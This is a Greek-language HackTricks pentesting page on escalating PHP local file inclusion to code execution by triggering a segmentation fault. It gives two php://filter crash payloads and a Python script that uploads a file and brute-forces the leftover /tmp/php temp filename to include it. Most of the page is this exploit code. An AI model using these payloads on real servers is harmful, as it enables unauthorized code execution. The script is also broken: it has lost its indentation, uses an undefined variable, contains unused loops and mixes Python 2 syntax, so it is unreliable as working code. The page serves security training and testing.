LFI2RCE μέσω Σφάλματος Κατακερματισμού

Reading time: 3 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Σύμφωνα με τις αναφορές https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (δεύτερο μέρος) και https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, τα παρακάτω payloads προκάλεσαν ένα σφάλμα κατακερματισμού στο PHP:

php
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Πρέπει να γνωρίζετε ότι αν στείλετε ένα POST αίτημα που περιέχει ένα αρχείο, το PHP θα δημιουργήσει ένα ** προσωρινό αρχείο στο /tmp/php<κάτι>** με τα περιεχόμενα αυτού του αρχείου. Αυτό το αρχείο θα διαγραφεί αυτόματα μόλις επεξεργαστεί το αίτημα.

Αν βρείτε μια LFI και καταφέρετε να προκαλέσετε μια αποτυχία τμηματοποίησης στο PHP, το προσωρινό αρχείο δεν θα διαγραφεί ποτέ. Επομένως, μπορείτε να αναζητήσετε το αρχείο με την ευπάθεια LFI μέχρι να το βρείτε και να εκτελέσετε αυθαίρετο κώδικα.

Μπορείτε να χρησιμοποιήσετε την εικόνα docker https://hub.docker.com/r/easyengine/php7.0 για δοκιμές.

python
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks